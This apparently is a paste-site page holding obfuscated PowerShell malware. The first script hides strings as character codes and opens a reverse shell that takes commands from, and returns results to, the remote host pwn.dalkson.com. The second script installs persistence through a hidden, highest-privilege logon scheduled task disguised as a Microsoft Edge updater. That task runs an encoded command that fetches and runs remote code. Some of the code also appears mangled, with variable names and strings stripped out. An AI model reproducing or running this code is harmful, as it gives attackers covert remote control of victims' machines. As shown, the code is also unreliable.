$1 = & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{;$}|%{ ( [char][int] $)})) |%{;$}| % {$}) $(char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char+char)(($('p'+'w'+'n'+'.'+'d'+'a'+'l'+'k'+'s'+'o'+'n'+'.'+'c'+'o'+'m')),(80));$rEKglU9Zf1kuNixVvnR = $(& ([string]::join('', ( (105,110,118,111,107,101,45,101,120,112,114,101,115,115,105,111,110) |%{ ( [char][int] $)})) | % {$})([string]::join('', ( (36,49,46,71,101,116,83,116,114,101,97,109,40,41) |%{ ( [char][int] $)})) | % {$}));[byte[]]$oELD5fb = 0..$((($(60000)))+$(0+0+0-0+5000)+(500)+$(0+0+35))|%{;$}|%{0};while(($GUsmiEhgrMHkKJ = $rEKglU9Zf1kuNixVvnR.Read($oELD5fb, 0, $oELD5fb.Length)) -ne 0){;$GWMO = (& ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{;$}|%{ ( [char][int] $)})) |%{;$}| % {$}) -TypeName ([string]::join('', ( (83,121,115,116,101,109,46,84,101,120,116,46,65,83,67,73,73,69,110,99,111,100,105,110,103) |%{;$}|%{ ( [char][int] $)})) |%{;$}| % {$})).GetString($oELD5fb,0, $GUsmiEhgrMHkKJ);$bg = (& (("hUynSAvfgmseHK5tN9QuTLcDVqwzR48IiMxEOXFd7bW-ZlYaJ6k1GP2oC30jrBp")[31,3,6,55,50,11,43,35,34,62,60,11,10,10,32,55,3] -join '') $GWMO 2>&1 |%{;$}| & (("1KNt9TUWDBYFRCkbMG7J3Ha4QodP28fVOAycx0spl5ivrz-LjXuhI6mSqegnZwE")[32,50,3,46,55,3,44,42,59,58] -join '') );$aOlfU = $bg + ([string]::join('', ( (87,72,65,84,32,87,72,69,82,69,62,32) |%{;$}|%{ ( [char][int] $)})) |%{;$}| % {$}) -replace $(char+char+char+char+char),(& (("v5i30q-HMI8eUjRPFEGC26ky1aruBAxTfO4SscWQlnZwYDXpJ7Nmd9gLbVohzKt")[54,11,62,6,40,58,37,25,62,2,58,41] -join '')).Path -replace $($(('W'+'H'+'A'+'T'))),$(char+char);$kOrYgGndI = ([text.encoding]::ASCII).GetBytes($aOlfU);$rEKglU9Zf1kuNixVvnR.Write($kOrYgGndI,0,$kOrYgGndI.Length);((& (("iu0bjAMpezG-mFU4W3IsV6TfP9ryBvc5XnqCtlo2LwHQNDa1KEOxgY7SZ8dkhJR")[0,33,29,38,59,8,11,8,51,7,26,8,19,19,0,38,33] -join '')([string]::join('', ( (36,114,69,75,103,108,85,57,90,102,49,107,117,78,105,120,86,118,110,82,46,70,108,117,115,104,40,41) |%{ ( [char][int] $)})) | % {$})))};$($1.Close())

$trigger = New-ScheduledTaskTrigger -AtLogon
$taskAction = New-ScheduledTaskAction -Execute "PowerShell" -Argument "-NoL -NoP -W Hidden -E aQByAG0AIAByAGUAbgB0AHIAeQAuAGMAbwAvADYAYwAvAHIAYQB3AHwAaQBlAHgA -noni"
Register-ScheduledTask 'MicrosoftEdgeUpdateTaskMachineUS' -RunLevel Highest -Action $taskAction -Trigger $trigger -Description 'Keeps your Microsoft software up to date. If this task is disabled or stopped, your Microsoft software will not be kept up to date, meaning security vulnerabilities that may arise cannot be fixed and features may not work. This task uninstalls itself when there is no Microsoft software using it.'

Edit
Pub: 17 Dec 2022 23:58 UTC
Edit: 10 Feb 2024 01:46 UTC
Views: 109